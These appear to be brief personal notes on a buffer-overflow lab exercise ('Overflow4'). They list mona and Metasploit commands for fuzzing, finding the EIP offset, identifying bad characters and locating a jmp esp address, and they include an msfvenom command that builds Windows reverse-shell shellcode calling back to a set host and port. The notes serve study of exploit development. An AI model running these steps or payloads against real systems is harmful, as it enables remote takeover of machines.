Overflow4

1. Fuzz application to find number of bytes needed to crash the application

Bytes needed to crash application: 2100

2. Set mona configuration

!mona config -set workingfolder c:\mona\%p

3. Find EIP offset

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2100

!mona findmsp -distance 2100

EIP offset: 2026

4. Find bad characters

!mona bytearray -b "\x00"

!mona compare -f C:\mona\oscp\bytearray.bin -a <ESP address>

Bad characters: \x00\xa9\xcd\xd4

5. Find jmp esp instruction sets without any bad characters

!mona jmp -r esp -cpb "\x00\xa9\xcd\xd4"

Return address: 0x625011af

6. Generate shellcode

msfvenom -p windows/shell_reverse_tcp LHOST=10.9.141.31 LPORT=4444 EXITFUNC=thread -b "\x00\xa9\xcd\xd4" -f c

7. Set nop sled in padding